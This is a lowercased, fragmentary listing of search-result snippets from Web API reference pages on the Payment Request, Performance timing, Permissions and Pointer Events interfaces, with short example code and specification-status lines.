specifications specification status comment payment request apithe definition of 'paymentaddress.city' in that specification.
... candidate recommendation initial definition.
PaymentAddress.country - Web APIs
specifications specification status comment payment request apithe definition of 'paymentaddress.country' in that specification.
... candidate recommendation initial definition.
PaymentAddress.dependentLocality - Web APIs
specifications specification status comment payment request apithe definition of 'paymentaddress.dependentlocality' in that specification.
... candidate recommendation initial definition.
PaymentAddress.organization - Web APIs
specifications specification status comment payment request apithe definition of 'paymentaddress.organization' in that specification.
... candidate recommendation initial definition.
PaymentAddress.phone - Web APIs
specifications specification status comment payment request apithe definition of 'paymentaddress.phone' in that specification.
... candidate recommendation initial definition.
PaymentAddress.postalCode - Web APIs
specifications specification status comment payment request apithe definition of 'paymentaddress.postalcode' in that specification.
... candidate recommendation initial definition.
PaymentAddress.recipient - Web APIs
specifications specification status comment payment request apithe definition of 'paymentaddress.recipient' in that specification.
... candidate recommendation initial definition.
PaymentAddress.region - Web APIs
specifications specification status comment payment request apithe definition of 'paymentaddress.region' in that specification.
... candidate recommendation initial definition.
PaymentAddress.sortingCode - Web APIs
specifications specification status comment payment request apithe definition of 'paymentaddress.sortingcode' in that specification.
... candidate recommendation initial definition.
PaymentAddress.toJSON() - Web APIs
specifications specification status comment web idlthe definition of 'tojson()' in that specification.
... candidate recommendation initial definition.
PaymentAddress - Web APIs
billing address is a paymentaddress object } } specifications specification status comment payment request apithe definition of 'paymentaddress' in that specification.
... candidate recommendation initial definition.
PaymentCurrencyAmount.currencySystem - Web APIs
specifications specification status comment payment request apithe definition of 'paymentcurrencyamount' in that specification.
... candidate recommendation no longer part of the specification payment request api the definition of 'paymentcurrencyamount.currencysystem' in that specification.
PaymentCurrencyAmount - Web APIs
specifications specification status comment payment request apithe definition of 'paymentcurrencyamount' in that specification.
... candidate recommendation initial definition.
PaymentDetailsUpdate.error - Web APIs
specifications specification status comment payment request apithe definition of 'paymentdetailsupdate.error' in that specification.
... candidate recommendation initial definition.
PaymentDetailsUpdate.shippingAddressErrors - Web APIs
specifications specification status comment payment request apithe definition of 'paymentdetailsupdate.shippingaddresserrors' in that specification.
... candidate recommendation initial definition.
PaymentDetailsUpdate - Web APIs
specifications specification status comment payment request apithe definition of 'paymentdetailsupdate' in that specification.
... candidate recommendation initial definition.
PaymentItem - Web APIs
specifications specification status comment payment request apithe definition of 'paymentitem' in that specification.
... candidate recommendation initial definition.
PaymentMethodChangeEvent.methodDetails - Web APIs
specifications specification status comment payment request apithe definition of 'paymentmethodchangeevent.methoddetails' in that specification.
... candidate recommendation initial definition.
PaymentMethodChangeEvent.methodName - Web APIs
ev.updatewith(newstuff); }; const response = await request.show(); specifications specification status comment payment request apithe definition of 'paymentmethodchangeevent.methodname' in that specification.
... candidate recommendation initial definition.
PaymentRequest.PaymentRequest() - Web APIs
} specifications specification status comment payment request apithe definition of 'paymentrequest() constructor' in that specification.
... candidate recommendation initial definition.
PaymentRequest.abort() - Web APIs
ettimeout(() => { window.cleartimeout(paymenttimeout); request.abort().then(() => { print('payment timed out after 20 minutes.'); }).catch(() => { print('unable to abort, because the user is currently in the process ' + 'of paying.'); }); }, 20 * 60 * 1000); /* 20 minutes */ specifications specification status comment payment request apithe definition of 'abort()' in that specification.
... candidate recommendation initial definition.
PaymentRequest.onmerchantvalidation - Web APIs
specifications specification status comment payment request apithe definition of 'onmerchantvalidation' in that specification.
... candidate recommendation initial definition.
PaymentRequest.onpaymentmethodchange - Web APIs
ev.updatewith(newstuff); }; const response = await request.show(); specifications specification status comment payment request apithe definition of 'onpaymentmethodchange' in that specification.
... candidate recommendation initial definition.
PaymentRequest.shippingType - Web APIs
specifications specification status comment payment request apithe definition of 'shippingtype' in that specification.
... candidate recommendation initial definition.
PaymentRequest: shippingaddresschange event - Web APIs
return detailsupdate; }; you can also establish a handler for shippingaddresschange using the onshippingaddresschange event handler property: paymentrequest.onshippingaddresschange = event => { let detailsupdate = checkaddress(paymentrequest.shippingaddress); event.updatewith(detailsupdate); }; specifications specification status comment payment request apithe definition of 'shippingaddresschange' in that specification.
... candidate recommendation initial definition.
PaymentRequest: shippingoptionchange event - Web APIs
using its corresponding event handler property, onshippingoptionchange: paymentrequest.onshippingoptionchange = event => { const value = calculatenewtotal(paymentrequest.shippingoption); const total = { currency: "eur", label: "total due", value, }; event.updatewith({ total }); }; specifications specification status comment payment request apithe definition of 'shippingoptionchange' in that specification.
... candidate recommendation initial definition.
PaymentRequest - Web APIs
specifications specification status comment payment request apithe definition of 'paymentrequest' in that specification.
... candidate recommendation initial definition.
PaymentRequestEvent() - Web APIs
paymentrequestorigin: the origin where the paymentrequest object was initialized.
... topleveorigin: the top-level origin where the paymentrequest object was initialized.
PaymentRequestEvent.instrumentKey - Web APIs
specifications specification status comment payment handler apithe definition of 'instrumentkey' in that specification.
... working draft initial definition.
PaymentRequestEvent.methodData - Web APIs
specifications specification status comment payment handler apithe definition of 'methoddata' in that specification.
... working draft initial definition.
PaymentRequestEvent.modifiers - Web APIs
specifications specification status comment payment handler apithe definition of 'modifiers' in that specification.
... working draft initial definition.
PaymentRequestEvent.openWindow() - Web APIs
specifications specification status comment payment handler apithe definition of 'openwindow' in that specification.
... working draft initial definition.
paymentRequestId - Web APIs
specifications specification status comment payment handler apithe definition of 'paymentrequestid' in that specification.
... working draft initial definition.
PaymentRequestEvent.respondWith() - Web APIs
specifications specification status comment payment handler apithe definition of 'respondwith' in that specification.
... working draft initial definition.
PaymentRequestEvent.total - Web APIs
specifications specification status comment payment handler apithe definition of 'total' in that specification.
... working draft initial definition.
PaymentRequestUpdateEvent.updateWith() - Web APIs
specifications specification status comment payment request apithe definition of 'paymentrequestupdateevent.updatewith()' in that specification.
... candidate recommendation initial definition.
PaymentRequestUpdateEvent - Web APIs
specifications specification status comment payment request apithe definition of 'paymentrequestupdateevent' in that specification.
... candidate recommendation initial definition.
PaymentResponse.onpayerdetailchange - Web APIs
rrors); } else { // we have a good payment; send the data to the server await fetch("/pay-for-things/", { method: "post", body: response.json() }); response.complete("success"); } }; await response.retry({ payer: { email: "invalid domain.", phone: "invalid number.", }, }); specifications specification status comment payment request apithe definition of 'onpayerdetailchange' in that specification.
... candidate recommendation initial definition.
PaymentRequest.payerName - Web APIs
specifications specification status comment payment request apithe definition of 'payername' in that specification.
... candidate recommendation initial definition.
PaymentResponse.requestId - Web APIs
specifications specification status comment payment request apithe definition of 'requestid' in that specification.
... candidate recommendation initial definition.
PaymentResponse.retry() - Web APIs
event.removeeventlistener(event, listener); resolve(); } }); }); } dopaymentrequest(); specifications specification status comment payment request apithe definition of 'retry()' in that specification.
... candidate recommendation initial definition.
PaymentResponse.shippingAddress - Web APIs
// initialization of paymentrequest arguments are excerpted for brevity.
...in us'; shippingoption.amount.value = '5.00'; details.total.amount.value = '60.00'; } details.displayitems.splice(2, 1, shippingoption); details.shippingoptions = [shippingoption]; } else { delete details.shippingoptions; } resolve(details); } specifications specification status comment payment request api candidate recommendation initial definition.
PaymentResponse.shippingOption - Web APIs
// initialization of paymentrequest arguments are excerpted for brevity.
...nt.value = '67.00'; } else { reject('unknown shipping option \'' + shippingoption + '\''); return; } selectedshippingoption.selected = true; othershippingoption.selected = false; details.displayitems.splice(2, 1, selectedshippingoption); resolve(details); } specifications specification status comment payment request api candidate recommendation initial definition.
PaymentResponse - Web APIs
specifications specification status comment payment request apithe definition of 'paymentresponse' in that specification.
... candidate recommendation initial definition.
Payment Request API - Web APIs
to request a payment, a web page creates a paymentrequest object in response to a user action that initiates a payment, such as clicking a "purchase" button.
... specifications specification status comment payment request api candidate recommendation initial definition.
performance.clearResourceTimings() - Web APIs
performance data buffer not cleared!"); } specifications specification status comment resource timing level 1the definition of 'clearresourcetimings()' in that specification.
... candidate recommendation initial definition.
Performance.navigation - Web APIs
syntax navobject = performance.navigation; specifications specification status comment navigation timingthe definition of 'performance.navigation' in that specification.
... recommendation initial definition.
Performance.onresourcetimingbufferfull - Web APIs
function buffer_full(event) { console.log("warning: resource timing buffer is full!"); performance.setresourcetimingbuffersize(200); } function init() { // set a callback if the resource buffer becomes filled performance.onresourcetimingbufferfull = buffer_full; } <body onload="init()"> specifications specification status comment resource timing level 1the definition of 'onresourcetimingbufferfull' in that specification.
... candidate recommendation initial definition.
performance.setResourceTimingBufferSize() - Web APIs
performance.setresourcetimingbuffersize() = not supported"); } } specifications specification status comment resource timing level 1the definition of 'setresourcetimingbuffersize()' in that specification.
... candidate recommendation initial definition.
PerformanceEntry.toJSON() - Web APIs
s.length; i++) { // check each method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status comment performance timeline level 2the definition of 'tojson' in that specification.
... candidate recommendation initial definition of tojson() method.
PerformanceFrameTiming - Web APIs
specifications specification status comment frame timingthe definition of 'performanceframetiming' in that specification.
... draft initial definition.
PerformanceLongTaskTiming.attribution - Web APIs
specifications specification status comment long tasks api 1the definition of 'attribution' in that specification.
... working draft initial definition.
PerformanceLongTaskTiming - Web APIs
specifications specification status comment long tasks api 1the definition of 'performancelongtasktiming' in that specification.
... working draft initial definition.
PerformanceNavigation.redirectCount - Web APIs
syntax amount = performancenavigation.redirectcount; specifications specification status comment navigation timingthe definition of 'performancenavigation.redirectcount' in that specification.
... recommendation initial definition.
PerformanceNavigation.type - Web APIs
syntax type = performancenavigation.type; specifications specification status comment navigation timingthe definition of 'performancenavigation.type' in that specification.
... recommendation initial definition.
PerformanceNavigation - Web APIs
specifications specification status comment navigation timingthe definition of 'performancenavigation' in that specification.
... recommendation initial definition.
PerformanceNavigationTiming.domComplete - Web APIs
d and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'domcomplete' in that specification.
... working draft initial definition.
PerformanceNavigationTiming.domContentLoadedEventEnd - Web APIs
d and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'domcontentloadedeventend' in that specification.
... working draft initial definition.
PerformanceNavigationTiming.domContentLoadedEventStart - Web APIs
d and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'domcontentloadedeventstart' in that specification.
... working draft initial definition.
PerformanceNavigationTiming.domInteractive - Web APIs
d and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'dominteractive' in that specification.
... working draft initial definition.
PerformanceNavigationTiming.loadEventEnd - Web APIs
d and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'loadeventend' in that specification.
... working draft initial definition.
PerformanceNavigationTiming.loadEventStart - Web APIs
d and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'loadeventstart' in that specification.
... working draft initial definition.
PerformanceNavigationTiming.redirectCount - Web APIs
d and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'redirectcount' in that specification.
... working draft initial definition.
PerformanceNavigationTiming.toJSON() - Web APIs
example // get a resource performance entry var perfentries = performance.getentriesbytype("navigation"); var entry = perfentries[0]; // get the json and log it var json = entry.tojson(); var s = json.stringify(json); console.log("performancenavigationtiming.tojson() = " + s); specifications specification status comment navigation timing level 2the definition of 'tojson()' in that specification.
... working draft initial definition.
PerformanceNavigationTiming.unloadEventEnd - Web APIs
d and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'unloadeventend' in that specification.
... working draft initial definition.
PerformanceNavigationTiming.unloadEventStart - Web APIs
d and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'unloadeventstart' in that specification.
... working draft initial definition.
PerformanceObserver() - Web APIs
length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); function perf_observer(list, observer) { // process the "measure" event } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'performanceobserver()' in that specification.
... candidate recommendation initial definition of performanceobserver() constructor.
PeformanceObserver.disconnect() - Web APIs
// disable additional performance events observer.disconnect(); } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'disconnect()' in that specification.
... candidate recommendation initial definition of disconnect() method.
PerformanceObserver.takeRecords() - Web APIs
getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); var records = observer.takerecords(); console.log(records[0].name); console.log(records[0].starttime); console.log(records[0].duration); specifications specification status comment performance timeline level 2the definition of 'takerecords()' in that specification.
... candidate recommendation initial definition of takerecords() method.
PerformanceObserver - Web APIs
example function perf_observer(list, observer) { // process the "measure" event } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'performanceobserver' in that specification.
... candidate recommendation initial definition of performanceobserver interface.
PerformanceObserverEntryList.getEntriesByName() - Web APIs
rmanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to only the 'frame' event observe_frame.observe({entrytypes: ['frame']}); specifications specification status comment performance timeline level 2the definition of 'getentriesbyname()' in that specification.
... candidate recommendation initial definition of getentriesbyname() method.
PerformanceObserverEntryList.getEntriesByType() - Web APIs
rmanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to only the 'frame' event observe_frame.observe({entrytypes: ['frame']}); specifications specification status comment performance timeline level 2the definition of 'getentriesbytype()' in that specification.
... candidate recommendation initial definition of getentriesbytype() method.
PerformanceObserverEntryList - Web APIs
nce event types // list is of type performanceobserveentrylist var observe_all = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); for (var i = 0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); // do something with it } }) specifications specification status comment performance timeline level 2the definition of 'performanceobserverentrylist' in that specification.
... candidate recommendation initial definition.
PerformancePaintTiming - Web APIs
specifications specification status comment paint timingthe definition of 'performancepainttiming' in that specification.
... working draft initial definition.
PerformanceResourceTiming.connectEnd - Web APIs
" + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'connectend' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.connectStart - Web APIs
" + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'connectstart' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.decodedBodySize - Web APIs
perfentry.transfersize); else console.log("transfersize = not supported"); } function check_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { log_sizes(p[i]); } } specifications specification status comment resource timing level 2the definition of 'decodedbodysize' in that specification.
... working draft initial definition.
PerformanceResourceTiming.domainLookupEnd - Web APIs
" + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'domainlookupend' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.domainLookupStart - Web APIs
" + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'domainlookupstart' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.encodedBodySize - Web APIs
perfentry.transfersize); else console.log("transfersize = not supported"); } function check_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { log_sizes(p[i]); } } specifications specification status comment resource timing level 2the definition of 'encodedbodysize' in that specification.
... working draft initial definition.
PerformanceResourceTiming.fetchStart - Web APIs
" + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'fetchstart' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.nextHopProtocol - Web APIs
ar i=0; i < p.length; i++) { print_nexthopprotocol(p[i]); } } function print_nexthopprotocol(perfentry) { var value = "nexthopprotocol" in perfentry; if (value) console.log("nexthopprotocol = " + perfentry.nexthopprotocol); else console.log("nexthopprotocol = not supported"); } specifications specification status comment resource timing level 2the definition of 'nexthopprotocol' in that specification.
... working draft initial definition.
PerformanceResourceTiming.redirectEnd - Web APIs
" + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'redirectend' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.requestStart - Web APIs
" + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'requeststart' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.responseEnd - Web APIs
" + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'responseend' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.responseStart - Web APIs
" + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'responsestart' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.secureConnectionStart - Web APIs
" + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'secureconnectionstart' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.serverTiming - Web APIs
syntax resource.servertiming; specifications specification status comment server timingthe definition of 'servertiming' in that specification.
... working draft initial definition.
PerformanceResourceTiming.transferSize - Web APIs
perfentry.transfersize); else console.log("transfersize = not supported"); } function check_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { log_sizes(p[i]); } } specifications specification status comment resource timing level 2the definition of 'transfersize' in that specification.
... working draft initial definition.
PerformanceResourceTiming.workerStart - Web APIs
" + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 2the definition of 'workerstart' in that specification.
... working draft initial definition.
PerformanceServerTiming.description - Web APIs
syntax servertiming.description; specifications specification status comment server timingthe definition of 'description' in that specification.
... working draft initial definition.
PerformanceServerTiming.duration - Web APIs
syntax servertiming.duration; specifications specification status comment server timingthe definition of 'duration' in that specification.
... working draft initial definition.
PerformanceServerTiming.name - Web APIs
syntax servertiming.name; specifications specification status comment server timingthe definition of 'name' in that specification.
... working draft initial definition.
PerformanceServerTiming.toJSON - Web APIs
specifications specification status comment server timingthe definition of 'tojson' in that specification.
... working draft initial definition.
PerformanceServerTiming - Web APIs
.getentriesbytype('resource'); console.log(entries[0].servertiming); // 0: performanceservertiming {name: "cache", duration: 23.2, description: "cache read"} // 1: performanceservertiming {name: "db", duration: 53, description: ""} // 2: performanceservertiming {name: "app", duration: 47.2, description: ""} specifications specification status comment server timingthe definition of 'performanceservertiming' in that specification.
... working draft initial definition.
PerformanceTiming.connectEnd - Web APIs
syntax time = performancetiming.connectend; specifications specification status comment navigation timingthe definition of 'performancetiming.connectend' in that specification.
... recommendation initial definition.
PerformanceTiming.connectStart - Web APIs
syntax time = performancetiming.connectstart; specifications specification status comment navigation timingthe definition of 'performancetiming.connectstart' in that specification.
... recommendation initial definition.
PerformanceTiming.domComplete - Web APIs
syntax time = performancetiming.domcomplete; specifications specification status comment navigation timingthe definition of 'performancetiming.domcomplete' in that specification.
... recommendation initial definition.
PerformanceTiming.domContentLoadedEventEnd - Web APIs
syntax time = performancetiming.domcontentloadedeventend; specifications specification status comment navigation timingthe definition of 'performancetiming.domcontentloadedeventend' in that specification.
... recommendation initial definition.
PerformanceTiming.domContentLoadedEventStart - Web APIs
syntax time = performancetiming.domcontentloadedeventstart; specifications specification status comment navigation timingthe definition of 'performancetiming.domcontentloadedeventstart' in that specification.
... recommendation initial definition.
PerformanceTiming.domInteractive - Web APIs
syntax time = performancetiming.dominteractive; specifications specification status comment navigation timingthe definition of 'performancetiming.dominteractive' in that specification.
... recommendation initial definition.
PerformanceTiming.domLoading - Web APIs
syntax time = performancetiming.domloading; specifications specification status comment navigation timingthe definition of 'performancetiming.domloading' in that specification.
... recommendation initial definition.
PerformanceTiming.domainLookupEnd - Web APIs
syntax time = performancetiming.domainlookupend; specifications specification status comment navigation timingthe definition of 'performancetiming.domainlookupend' in that specification.
... recommendation initial definition.
PerformanceTiming.domainLookupStart - Web APIs
syntax time = performancetiming.domainlookupstart; specifications specification status comment navigation timingthe definition of 'performancetiming.domainlookupstart' in that specification.
... recommendation initial definition.
PerformanceTiming.fetchStart - Web APIs
syntax time = performance.timing.fetchstart; specifications specification status comment navigation timingthe definition of 'performancetiming.fetchstart' in that specification.
... recommendation initial definition.
PerformanceTiming.loadEventEnd - Web APIs
syntax time = performancetiming.loadeventend; specifications specification status comment navigation timingthe definition of 'performancetiming.loadeventend' in that specification.
... recommendation initial definition.
PerformanceTiming.loadEventStart - Web APIs
syntax time = performancetiming.loadeventstart; specifications specification status comment navigation timingthe definition of 'performancetiming.loadeventstart' in that specification.
... recommendation initial definition.
PerformanceTiming.navigationStart - Web APIs
syntax time = performancetiming.navigationstart; specifications specification status comment navigation timingthe definition of 'performancetiming.navigationstart' in that specification.
... recommendation initial definition.
PerformanceTiming.redirectEnd - Web APIs
syntax time = performancetiming.redirectend; specifications specification status comment navigation timingthe definition of 'performancetiming.redirectend' in that specification.
... recommendation initial definition.
PerformanceTiming.redirectStart - Web APIs
syntax time = performancetiming.redirectstart; specifications specification status comment navigation timingthe definition of 'performancetiming.redirectstart' in that specification.
... recommendation initial definition.
PerformanceTiming.requestStart - Web APIs
syntax time = performancetiming.requeststart; specifications specification status comment navigation timingthe definition of 'performancetiming.requeststart' in that specification.
... recommendation initial definition.
PerformanceTiming.responseEnd - Web APIs
syntax time = performancetiming.responseend; specifications specification status comment navigation timingthe definition of 'performancetiming.responseend' in that specification.
... recommendation initial definition.
PerformanceTiming.responseStart - Web APIs
syntax time = performancetiming.responsestart; specifications specification status comment navigation timingthe definition of 'performancetiming.responsestart' in that specification.
... recommendation initial definition.
PerformanceTiming.secureConnectionStart - Web APIs
syntax time = performancetiming.secureconnectionstart; specifications specification status comment navigation timingthe definition of 'performancetiming.secureconnectionstart' in that specification.
... recommendation initial definition.
PerformanceTiming.unloadEventEnd - Web APIs
syntax time = performancetiming.unloadeventend; specifications specification status comment navigation timingthe definition of 'performancetiming.unloadeventend' in that specification.
... recommendation initial definition.
PerformanceTiming.unloadEventStart - Web APIs
syntax time = performancetiming.unloadeventstart; specifications specification status comment navigation timingthe definition of 'performancetiming.unloadeventstart' in that specification.
... recommendation initial definition.
PerformanceTiming - Web APIs
specifications specification status comment navigation timingthe definition of 'performancetiming' in that specification.
... recommendation initial definition.
PeriodicWave - Web APIs
loat32array(2); var imag = new float32array(2); var ac = new audiocontext(); var osc = ac.createoscillator(); real[0] = 0; imag[0] = 0; real[1] = 1; imag[1] = 0; var wave = ac.createperiodicwave(real, imag, {disablenormalization: true}); osc.setperiodicwave(wave); osc.connect(ac.destination); osc.start(); osc.stop(2); this works because a sound that contains only a fundamental tone is by definition a sine wave here, we create a periodicwave with two values.
... specifications specification status comment web audio apithe definition of 'periodicwave' in that specification.
PermissionStatus.onchange - Web APIs
}) example navigator.permissions.query({name:'geolocation'}).then(function(permissionstatus) { console.log('geolocation permission state is ', permissionstatus.state); permissionstatus.onchange = function() { console.log('geolocation permission state has changed to ', this.state); }; }); specification specification status comment permissionsthe definition of 'onchange' in that specification.
... working draft initial definition.
PermissionStatus.state - Web APIs
status.state; example navigator.permissions.query({name:'geolocation'}).then(function(permissionstatus) { console.log('geolocation permission state is ', permissionstatus.state); permissionstatus.onchange = function() { console.log('geolocation permission status has changed to ', this.state); }; }); specification specification status comment permissionsthe definition of 'state' in that specification.
... working draft initial definition.
PermissionStatus - Web APIs
example navigator.permissions.query({name:'geolocation'}).then(function(permissionstatus) { console.log('geolocation permission status is ', permissionstatus.state); permissionstatus.onchange = function() { console.log('geolocation permission status has changed to ', this.state); }; }); specification specification status comment permissionsthe definition of 'permissionstatus' in that specification.
... working draft initial definition.
Permissions.query() - Web APIs
WebAPIPermissionsquery
}); specification specification status comment permissionsthe definition of 'query()' in that specification.
... working draft initial definition.
Permissions - Web APIs
}); specification specification status comment permissionsthe definition of 'permissions' in that specification.
... working draft initial definition.
Permissions API - Web APIs
concepts and usage historically different apis handle their own permissions inconsistently — for example the notifications api allows for explicit checking of permission status and requesting permission, whereas the geolocation api doesn't (which causes problems if the user denied the initial permission request).
... specification specification status comment permissions working draft initial definition.
PhotoCapabilities.fillLightMode - Web APIs
specifications specification status comment mediastream image capturethe definition of 'filllightmode' in that specification.
... working draft initial definition.
PhotoCapabilities.imageHeight - Web APIs
specifications specification status comment mediastream image capturethe definition of 'imageheight' in that specification.
... working draft initial definition.
imageWidth - Web APIs
specifications specification status comment mediastream image capturethe definition of 'imagewidth' in that specification.
... working draft initial definition.
PhotoCapabilities.redEyeReduction - Web APIs
specifications specification status comment mediastream image capturethe definition of 'redeyereduction' in that specification.
... working draft initial definition.
PhotoCapabilities - Web APIs
ilities.imagewidth.min; input.max = photocapabilities.imagewidth.max; input.step = photocapabilities.imagewidth.step; return imagecapture.getphotosettings(); }) .then(photosettings => { input.value = photosettings.imagewidth; }) .catch(error => console.log('argh!', error.name || error)); specifications specification status comment mediastream image capturethe definition of 'photocapabilities' in that specification.
... working draft initial definition.
Plugin - Web APIs
WebAPIPlugin
specifications specification status comment html living standardthe definition of 'plugin' in that specification.
... living standard initial definition.
PluginArray - Web APIs
+ "name | filename | description<br>" ); for(var i = 0; i < pluginslength; i++) { document.write( navigator.plugins[i].name + " | " + navigator.plugins[i].filename + " | " + navigator.plugins[i].description + " | " + navigator.plugins[i].version + "<br>" ); } specifications specification status comment html living standardthe definition of 'pluginarray' in that specification.
... living standard initial definition.
PointerEvent.getCoalescedEvents() - Web APIs
specifications specification status comment pointer events – level 3the definition of 'getcoalescedevents()' in that specification.
... editor's draft initial definition.
Multi-touch interaction - Web APIs
el.onpointerup = pointerup_handler; el.onpointercancel = pointerup_handler; el.onpointerout = pointerup_handler; el.onpointerleave = pointerup_handler; } function init() { set_handlers("target1"); set_handlers("target2"); set_handlers("target3"); } pointer down the pointerdown event is fired when a pointer (mouse, pen/stylus or touch point on a touchscreen) makes contact with the contact surface.
... <body onload="init();" style="touch-action:none"> <div id="target1"> tap, hold or swipe me 1</div> <div id="target2"> tap, hold or swipe me 2</div> <div id="target3"> tap, hold or swipe me 3</div> <!-- ui for logging/debugging --> <button id="log" onclick="enablelog(event);">start/stop event logging</button> <button id="clearlog" onclick="clearlog(event);">clear the log</button> <p></p> <output></output> <...
Pinch zoom gestures - Web APIs
function init() { // install event handlers for the pointer target var el=document.getelementbyid("target"); el.onpointerdown = pointerdown_handler; el.onpointermove = pointermove_handler; // use same handler for pointer{up,cancel,out,leave} events since // the semantics for these events - in this app - are the same.
... <body onload="init();" style="touch-action:none"> <div id="target">touch and hold with 2 pointers, then pinch in or out.<br/> the background color will change to pink if the pinch is opening (zoom in) or changes to lightblue if the pinch is closing (zoom out).</div> <!-- ui for logging/debugging --> <button id="log" onclick="enablelog(event);">start/stop event logging</button> <button id="clearlog" oncl...
PopStateEvent - Web APIs
specifications specification status comment html living standardthe definition of 'popstateevent' in that specification.
... living standard initial definition ...
PositionOptions.enableHighAccuracy - Web APIs
syntax positionoptions.enablehighaccuracy = booleanvalue specifications specification status comment geolocation apithe definition of 'positionoptions.enablehighaccuracy' in that specification.
... recommendation initial definition ...
ProgressEvent - Web APIs
progressevent.initprogressevent() initializes a progressevent created using the deprecated document.createevent("progressevent") method.
...etelementbyid("p"), client = new xmlhttprequest() client.open("get", "magical-unicorns") client.onprogress = function(pe) { if(pe.lengthcomputable) { progressbar.max = pe.total progressbar.value = pe.loaded } } client.onloadend = function(pe) { progressbar.value = pe.loaded } client.send() specifications specification status comment xmlhttprequestthe definition of 'progressevent' in that specification.
PromiseRejectionEvent() - Web APIs
let myrejectionevent = new promiserejectionevent("unhandledrejection", { promise : mypromise, reason : "my house is on fire" }); specifications specification status comment html living standardthe definition of 'the promiserejectionevent interface' in that specification.
... living standard initial definition.
PromiseRejectionEvent.promise - Web APIs
window.onunhandledrejection = function(event) { if (event.reason.code && event.reason.code == "module not ready") { window.requestidlecallback(function(deadline) { loadmodule(event.reason.modulename) .then(performstartup); }); event.preventdefault(); } } specifications specification status comment html living standardthe definition of 'promiserejectionevent.promise' in that specification.
... living standard initial definition.
PromiseRejectionEvent.reason - Web APIs
examples window.onunhandledrejection = function(e) { console.log(e.reason); } specifications specification status comment html living standardthe definition of 'promiserejectionevent.reason' in that specification.
